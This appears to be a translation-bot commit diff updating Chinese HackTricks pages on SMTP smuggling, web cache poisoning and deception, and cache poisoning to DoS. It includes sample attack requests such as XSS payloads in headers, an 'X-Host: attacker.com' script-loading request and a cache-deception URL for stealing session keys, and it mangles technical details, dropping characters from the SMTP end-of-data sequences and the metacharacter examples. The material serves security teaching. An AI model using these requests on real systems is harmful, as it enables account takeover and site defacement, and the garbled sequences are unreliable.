Translated ['network-services-pentesting/pentesting-smtp/smtp-smuggling.

This commit is contained in:
Translator 2024-08-18 11:01:13 +00:00
parent 02e44b4362
commit 7262cdb0db
12 changed files with 241 additions and 147 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 33 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 29 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 30 KiB

View file

@ -531,6 +531,7 @@
* [Bypass Payment Process](pentesting-web/bypass-payment-process.md)
* [Captcha Bypass](pentesting-web/captcha-bypass.md)
* [Cache Poisoning and Cache Deception](pentesting-web/cache-deception/README.md)
* [Cache Poisoning via URL discrepancies](pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md)
* [Cache Poisoning to DoS](pentesting-web/cache-deception/cache-poisoning-to-dos.md)
* [Clickjacking](pentesting-web/clickjacking.md)
* [Client Side Template Injection (CSTI)](pentesting-web/client-side-template-injection-csti.md)

View file

@ -1,8 +1,8 @@
# SMTP Smuggling
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
学习和实践 AWS 黑客技术:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -10,14 +10,14 @@
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
</details>
{% endhint %}
## 基本信息
这种类型的漏洞最初是在 [**这篇文章中发现的**](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/),文中解释了在最终确定电子邮件时,**利用 SMTP 协议解释中的差异进行攻击**是可能的,这允许攻击者在合法邮件的正文中走私更多邮件,从而冒充受影响域的其他用户(例如 admin@outlook.com绕过 SPF 等防御措施。
这种类型的漏洞最初是在 [**这篇文章中发现的**](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/),文中解释了在完成电子邮件时,**利用 SMTP 协议解释的差异进行攻击**是可能的,这允许攻击者在合法邮件的正文中走私更多邮件,从而冒充受影响域的其他用户(例如 admin@outlook.com绕过 SPF 等防御措施。
### 为什么
@ -30,14 +30,14 @@
为了利用这个漏洞,攻击者需要发送一些数据,使得**出站 SMTP 服务器认为这只是 1 封邮件,但入站 SMTP 服务器认为有多封邮件**。
研究人员发现,不同的**入站服务器将不同的字符视为邮件消息数据的结束**,而出站服务器则不这样认为。\
例如,常规的数据结束是 `\r\n.\r\n`。但是,如果入站 SMTP 服务器也支持 `\n.\n`,攻击者可以在其邮件中添加**该数据,并开始指示新的 SMTP 命令**以走私它,就像在前面的图像中一样。
例如,常规的数据结束是 `\r\n.\r`。但是,如果入站 SMTP 服务器也支持 `\n.`,攻击者可以在其邮件中添加**该数据,并开始指示新的 SMTP 命令**以走私它,就像在前面的图像中一样。
当然,这只有在**出站 SMTP 服务器也不将这些数据视为消息数据的结束**时才有效,因为在这种情况下,它将看到 2 封邮件而不是 1 封,因此最终这是在此漏洞中被用的不同步。
当然,这只有在**出站 SMTP 服务器也不将这些数据视为消息数据的结束**时才有效,因为在这种情况下,它将看到 2 封邮件而不是 1 封,因此最终这是在此漏洞中被用的不同步。
潜在的不同步数据:
* `\n.\n`
* `\n.\r\n`
* `\n.`
* `\n.\r`
还要注意SPF 被绕过,因为如果你从 `user@outlook.com` 走私一封来自 `admin@outlook.com` 的邮件,**发件人仍然是 `outlook.com`。**
@ -46,8 +46,8 @@
* [https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/)
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
学习和实践 AWS 黑客技术:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -55,7 +55,7 @@
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
</details>
{% endhint %}

View file

@ -1,15 +1,15 @@
# Cache Poisoning and Cache Deception
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
学习与实践 AWS 黑客技术:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>支持 HackTricks</summary>
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
</details>
@ -18,7 +18,7 @@
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
使用 [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception) 轻松构建和 **自动化工作流**,由世界上 **最先进** 的社区工具提供支持。\
使用 [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=cache-deception) 轻松构建和 **自动化工作流**,由世界上 **最先进** 的社区工具提供支持。\
今天就获取访问权限:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}
@ -27,12 +27,12 @@
> **Web 缓存中毒和 Web 缓存欺骗之间有什么区别?**
>
> * 在 **Web 缓存中毒**中,攻击者使应用程序在缓存中存储一些恶意内容,并且这些内容从缓存中提供给其他应用程序用户。
> * 在 **Web 缓存欺骗**中,攻击者使应用程序在缓存中存储属于另一个用户的一些敏感内容,然后攻击者从缓存中检索这些内容。
> * 在 **Web 缓存中毒** 中,攻击者使应用程序在缓存中存储一些恶意内容,并且这些内容从缓存中提供给其他应用程序用户。
> * 在 **Web 缓存欺骗** 中,攻击者使应用程序在缓存中存储属于另一个用户的一些敏感内容,然后攻击者从缓存中检索这些内容。
## Cache Poisoning
缓存中毒旨在操纵客户端缓存,以强制客户端加载意外、部分或由攻击者控制的资源。影响的程度取决于受影响页面的受欢迎程度,因为被污染的响应仅在缓存污染期间提供给访问该页面的用户。
缓存中毒旨在操纵客户端缓存,强迫客户端加载意外、部分或由攻击者控制的资源。影响的程度取决于受影响页面的受欢迎程度,因为被污染的响应仅在缓存污染期间提供给访问该页面的用户。
执行缓存中毒攻击涉及几个步骤:
@ -44,7 +44,7 @@
通常,当响应被 **存储在缓存中** 时,会有一个 **指示的头部**,您可以在此帖子中检查您应该关注哪些头部:[**HTTP 缓存头部**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers)。
### Discovery: Caching error codes&#x20;
### Discovery: Caching error codes
如果您认为响应正在被存储在缓存中,您可以尝试 **发送带有错误头部的请求**,这应该会以 **状态码 400** 响应。然后尝试正常访问请求,如果 **响应是 400 状态码**,您就知道它是脆弱的(您甚至可以执行 DoS
@ -64,23 +64,26 @@
```
### 引发后端服务器的有害响应
识别参数/头部后,检查它是如何被**清洗**的,以及**在哪里**被**反映**或影响头部的响应。你能以任何方式滥用它吗执行XSS或加载你控制的JS代码执行DoS...
通过识别的参数/头部检查它是如何被**清理**的,以及**在哪里**它**被反映**或影响头部的响应。你能以任何方式滥用它吗执行XSS或加载你控制的JS代码执行DoS...
### 获取响应缓存
一旦你**识别**了可以被滥用的**页面**,使用哪个**参数**/**头部**以及**如何**滥用它,你需要让页面被缓存。根据你尝试缓存的资源,这可能需要一些时间,你可能需要尝试几秒钟。\
响应中的头部**`X-Cache`**可能非常有用,因为当请求未被缓存时,它的值可能是**`miss`**,而当被缓存时,它的值是**`hit`**。\
头部**`Cache-Control`**也很有趣,可以知道资源是否被缓存,以及下次资源将何时再次被缓存:`Cache-Control: public, max-age=1800`\
另一个有趣的头部是**`Vary`**。这个头部通常用于**指示额外的头部**,这些头部被视为**缓存键的一部分**,即使它们通常没有键。因此,如果用户知道他所针对的受害者的`User-Agent`,他可以为使用该特定`User-Agent`的用户毒化缓存。\
一旦你**识别**了可以被滥用的**页面**,使用哪个**参数**/**头部**以及**如何**滥用它,你需要让页面被缓存。根据你尝试缓存的资源,这可能需要一些时间,你可能需要尝试几秒钟。
响应中的头部**`X-Cache`**可能非常有用,因为当请求未被缓存时,它的值可能是**`miss`**,而当它被缓存时,值为**`hit`**。\
头部**`Cache-Control`**也很有趣,可以知道资源是否被缓存,以及下次资源将何时再次被缓存:`Cache-Control: public, max-age=1800`
另一个有趣的头部是**`Vary`**。这个头部通常用于**指示额外的头部**,这些头部被视为**缓存键的一部分**,即使它们通常没有键。因此,如果用户知道他所针对的受害者的`User-Agent`,他可以为使用该特定`User-Agent`的用户毒化缓存。
与缓存相关的另一个头部是**`Age`**。它定义了对象在代理缓存中存在的时间(以秒为单位)。
在缓存请求时,要**小心使用的头部**,因为其中一些可能会被**意外使用**为**键**,而**受害者需要使用相同的头部**。始终使用**不同的浏览器**测试缓存中毒,以检查其是否有效。
在缓存请求时,要**小心使用的头部**,因为其中一些可能会被**意外使用**为**键**,而**受害者需要使用相同的头部**。始终使用**不同的浏览器测试**缓存中毒是否有效。
## 利用示例
### 最简单的示例
像`X-Forwarded-For`这样的头部在响应中未经过清地被反映。\
像`X-Forwarded-For`这样的头部在响应中未经过清地被反映。\
你可以发送一个基本的XSS有效负载并毒化缓存这样每个访问该页面的人都会受到XSS攻击
```markup
GET /en?region=uk HTTP/1.1
@ -105,13 +108,27 @@ Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
```
注意,如果易受攻击的 cookie 被用户频繁使用,常规请求将清除缓存。
### 利用路径遍历进行缓存中毒以窃取 API 密钥 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
### 使用分隔符、规范化和点生成差异 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
检查:
{% content-ref url="cache-poisoning-via-url-discrepancies.md" %}
[cache-poisoning-via-url-discrepancies.md](cache-poisoning-via-url-discrepancies.md)
{% endcontent-ref %}
### 通过路径遍历进行缓存中毒以窃取 API 密钥 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
[**这篇文章解释了**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) 如何通过一个像 `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` 的 URL 窃取 OpenAI API 密钥,因为任何匹配 `/share/*` 的内容都会被缓存,而 Cloudflare 不会对 URL 进行规范化,这在请求到达 web 服务器时完成。
### 利用多个头部来利用 web 缓存中毒漏洞 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
这在以下内容中也有更好的解释:
有时你需要 **利用多个未键入的输入** 来滥用缓存。例如,如果你将 `X-Forwarded-Host` 设置为你控制的域名,并将 `X-Forwarded-Scheme` 设置为 `http`,你可能会发现一个 **开放重定向**。**如果** 服务器 **将所有的 HTTP 请求转发到 HTTPS** 并使用头部 `X-Forwarded-Scheme` 作为重定向的域名,你可以控制重定向指向的页面。
{% content-ref url="cache-poisoning-via-url-discrepancies.md" %}
[cache-poisoning-via-url-discrepancies.md](cache-poisoning-via-url-discrepancies.md)
{% endcontent-ref %}
### 使用多个头部来利用 web 缓存中毒漏洞 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
有时您需要 **利用多个未键入的输入** 来滥用缓存。例如,如果您将 `X-Forwarded-Host` 设置为您控制的域名,并将 `X-Forwarded-Scheme` 设置为 `http`,您可能会发现一个 **开放重定向**。**如果** 服务器 **将所有 HTTP 请求转发到 HTTPS** 并使用头部 `X-Forwarded-Scheme` 作为重定向的域名。您可以控制重定向指向的页面。
```markup
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
@ -120,7 +137,7 @@ X-Forwarded-Scheme: http
```
### 利用有限的 `Vary`
如果你发现 **`X-Host`** 头被用作 **加载 JS 资源的域名**,但响应中的 **`Vary`** 头指示 **`User-Agent`**。那么,你需要找到一种方法来提取受害者的 User-Agent 并使用该用户代理来污染缓存:
如果你发现 **`X-Host`** 头被用作 **加载 JS 资源的域名**,但响应中的 **`Vary`** 头指示 **`User-Agent`**。那么,你需要找到一种方法来提取受害者的 User-Agent并使用该用户代理来污染缓存:
```markup
GET / HTTP/1.1
Host: vulnerbale.net
@ -129,7 +146,7 @@ X-Host: attacker.com
```
### Fat Get
发送一个带有请求的GET请求URL和主体中都有请求。如果web服务器使用主体中的请求但缓存服务器缓存了URL中的请求那么任何访问该URL的人实际上将使用主体中的参数。就像James Kettle在Github网站上发现的漏洞:
发送一个带有请求的 GET 请求URL 和请求体中都包含该请求。如果 web 服务器使用请求体中的内容,但缓存服务器缓存了 URL 中的内容,那么任何访问该 URL 的人实际上将使用请求体中的参数。就像 James Kettle 在 Github 网站上发现的漏洞:
```
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
@ -150,41 +167,29 @@ Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/explo
在这里了解如何通过滥用 [HTTP 请求走私进行缓存中毒攻击](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning)。
### 自动化测试 Web 缓存中毒
### Web 缓存中毒的自动化测试
[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) 可用于自动测试 Web 缓存中毒。它支持多种不同的技术,并且高度可定制。
示例用法: `wcvs -u example.com`
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
使用 [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception) 轻松构建和 **自动化工作流**,由世界上 **最先进** 的社区工具提供支持。\
今天就获取访问权限:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}
## 漏洞示例
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
ATS 在不去除 URL 中的片段的情况下转发了片段,并仅使用主机、路径和查询生成缓存键(忽略片段)。因此,请求 `/#/../?r=javascript:alert(1)` 被发送到后端,作`/#/../?r=javascript:alert(1)`,而缓存键中没有负载,仅包含主机、路径和查询。
ATS 在 URL 中转发了片段而没有去掉它,并仅使用主机、路径和查询生成缓存键(忽略片段)。因此,请求 `/#/../?r=javascript:alert(1)` 被发送到后端为 `/#/../?r=javascript:alert(1)`,而缓存键中没有负载,只有主机、路径和查询。
### GitHub CP-DoS
在内容类型头中发送错误值触发了 405 缓存响应。缓存键包含 cookie因此只能攻击未认证用户。
在内容类型头中发送错误值触发了 405 缓存响应。缓存键包含 cookie因此只能攻击未授权用户。
### GitLab + GCP CP-DoS
GitLab 使用 GCP 存储桶来存储静态内容。**GCP 存储桶** 支持 **头部 `x-http-method-override`**。因此,可以发送头部 `x-http-method-override: HEAD` 并使缓存中毒以返回空响应体。它还可以支持 `PURGE` 方法。
GitLab 使用 GCP 存储桶来存储静态内容。**GCP 存储桶** 支持 **头部 `x-http-method-override`**。因此,可以发送头部 `x-http-method-override: HEAD` 并使缓存返回空响应体。它还可以支持 `PURGE` 方法。
### Rack 中间件 (Ruby on Rails)
在 Ruby on Rails 应用程序中,通常使用 Rack 中间件。Rack 代码的目的是获取 **`x-forwarded-scheme`** 头的值并将其设置为请求的方案。当发送头 `x-forwarded-scheme: http` 时,会发生 301 重定向到相同位置,可能导致该资源的拒绝服务 (DoS)。此外,应用程序可能会识别 `X-forwarded-host` 头并将用户重定向到指定主机。这种行为可能导致从攻击者的服务器加载 JavaScript 文件,从而带来安全风险。
在 Ruby on Rails 应用程序中,通常使用 Rack 中间件。Rack 代码的目的是获取 **`x-forwarded-scheme`** 头的值并将其设置为请求的方案。当发送头 `x-forwarded-scheme: http` 时,会发生 301 重定向到相同位置,可能导致该资源的拒绝服务 (DoS)。此外,应用程序可能会识别 `X-forwarded-host` 头并将用户重定向到指定主机。这种行为可能导致从攻击者的服务器加载 JavaScript 文件,构成安全风险。
### 403 和存储桶
@ -192,7 +197,7 @@ Cloudflare 之前缓存了 403 响应。尝试使用错误的授权头访问 S3
### 注入键参数
缓存通常在缓存键中包含特定的 GET 参数。例如Fastly 的 Varnish 在请求中缓存了 `size` 参数。然而,如果发送了 URL 编码版本的参数(例如,`siz%65`)并带有错误值,则缓存键将使用正确的 `size` 参数构建。然而,后端将处理 URL 编码参数中的值。对第二个 `size` 参数进行 URL 编码导致缓存省略该参数,但后端使用了它。将该参数的值设置为 0 会导致可缓存的 400 错误请求。
缓存通常在缓存键中包含特定的 GET 参数。例如Fastly 的 Varnish 在请求中缓存了 `size` 参数。然而,如果发送了 URL 编码版本的参数(例如,`siz%65`)并且值错误,缓存键将使用正确的 `size` 参数构建。然而,后端将处理 URL 编码参数中的值。对第二个 `size` 参数进行 URL 编码导致缓存省略了它,但后端使用了它。将该参数的值设置为 0 会导致可缓存的 400 错误请求。
### 用户代理规则
@ -200,7 +205,7 @@ Cloudflare 之前缓存了 403 响应。尝试使用错误的授权头访问 S3
### 非法头字段
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) 指定了头名称中可接受的字符。包含超出指定 **tchar** 范围的字符的头应理想地触发 400 错误请求响应。在实践中,服务器并不总是遵循此标准。一个显著的例子是 Akamai它转发包含无效字符的头并缓存任何 400 错误,只要 `cache-control` 头不存在。发现了一种可利用的模式,发送包含非法字符(如 `\`)的头会导致可缓存的 400 错误请求。
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) 指定了头名称中可接受的字符。包含超出指定 **tchar** 范围的字符的头理想情况下应触发 400 错误请求响应。在实践中,服务器并不总是遵循此标准。一个显著的例子是 Akamai它转发包含无效字符的头并缓存任何 400 错误,只要 `cache-control` 头不存在。发现了一种可利用的模式,发送带有非法字符(如 `\`)的头会导致可缓存的 400 错误请求。
### 查找新头
@ -221,13 +226,13 @@ Cloudflare 之前缓存了 403 响应。尝试使用错误的授权头访问 S3
* _www.example.com/profile.php/%2e%2e/test.js_
* _使用不太常见的扩展名如_ `.avif`
另一个非常清晰的例子可以在这个报告中找到: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712)。\
在这个例子中,解释了如果您加载一个不存在的页面,如 _http://www.example.com/home.php/non-existent.css_,将返回 _http://www.example.com/home.php_ **包含用户的敏感信息**的内容,并且缓存服务器将保存结果。\
另一个非常清晰的例子可以在这个写作中找到: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712)。\
在这个例子中,解释了如果您加载一个不存在的页面,如 _http://www.example.com/home.php/non-existent.css_,将返回 _http://www.example.com/home.php_ 的内容**包含用户的敏感信息**),并且缓存服务器将保存结果。\
然后,**攻击者**可以在自己的浏览器中访问 _http://www.example.com/home.php/non-existent.css_ 并观察之前访问过的用户的 **机密信息**
请注意,**缓存代理** 应该**配置****缓存** 文件 **基于** 文件的 **扩展名**_.css_而不是基于内容类型。在示例 _http://www.example.com/home.php/non-existent.css_ 中,将具有 `text/html` 内容类型,而不是 `text/css` MIME 类型(这是 _.css_ 文件的预期类型)。
请注意,**缓存代理** 应该 **配置****基于** 文件的 **扩展名** (_ .css_) 而不是基于内容类型。在示例 _http://www.example.com/home.php/non-existent.css_ 中,将具有 `text/html` 内容类型,而不是 `text/css` MIME 类型(这是 _ .css_ 文件的预期)。
在这里了解如何进行 [利用 HTTP 请求走私进行缓存欺骗攻击](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception)。
在这里了解如何通过滥用 HTTP 请求走私进行 [缓存欺骗攻击](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception)。
## 自动化工具
@ -245,22 +250,22 @@ Cloudflare 之前缓存了 403 响应。尝试使用错误的授权头访问 S3
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
使用 [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception) 轻松构建和 **自动化工作流**,由世界上 **最先进** 的社区工具提供支持。\
今天就获取访问权限:
Use [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=cache-deception) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}
{% hint style="success" %}
学习和实践 AWS 黑客攻击:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客攻击: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>支持 HackTricks</summary>
<summary>Support HackTricks</summary>
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,8 +1,8 @@
# Cache Poisoning to DoS
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
学习与实践 AWS 黑客技术:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -19,9 +19,9 @@
在此页面中,您可以找到不同的变体,以尝试使 **Web 服务器对有效的缓存服务器请求** **响应错误**
{% endhint %}
* **HTTP 头部过大 (HHO)**
* **HTTP Header Oversize (HHO)**
发送一个头部大小大于 Web 服务器支持的大小,但小于缓存服务器支持的大小的请求。Web 服务器将以 400 响应进行响应,该响应可能会被缓存:
发送一个请求,头部大小大于 Web 服务器支持的大小但小于缓存服务器支持的大小。Web 服务器将以 400 响应进行响应,该响应可能会被缓存:
```
GET / HTTP/1.1
Host: redacted.com
@ -29,7 +29,7 @@ X-Oversize-Hedear:Big-Value-000000000000000
```
* **HTTP Meta Character (HMC) & Unexpected values**
发送一个包含一些 **有害元字符** 的头,例如 `\n``\r`。为了使攻击有效,您必须首先绕过缓存。
发送一个包含一些 **有害元字符** 的头,例如 和 。为了使攻击有效,您必须首先绕过缓存。
```
GET / HTTP/1.1
Host: redacted.com
@ -37,7 +37,7 @@ X-Meta-Hedear:Bad Chars\n \r
```
一个配置错误的头部可能只是 `\:` 作为头部。
如果发送了意外的值,比如意外的 Content-Type:,这也可能有效。
如果发送了意外的值,这也可能有效,比如意外的 Content-Type:
```
GET /anas/repos HTTP/2
Host: redacted.com
@ -45,7 +45,7 @@ Content-Type: HelloWorld
```
* **未键入的头部**
一些网站会在请求中**看到某些特定的头部**时返回错误状态代码,例如带有 _X-Amz-Website-Location-Redirect: someThing_ 头部:
一些网站如果在请求中**看到某些特定的头部**,例如带有 _X-Amz-Website-Location-Redirect: someThing_ 头部时,会返回错误状态码
```
GET /app.js HTTP/2
Host: redacted.com
@ -58,7 +58,7 @@ Invalid Header
```
* **HTTP 方法覆盖攻击 (HMO)**
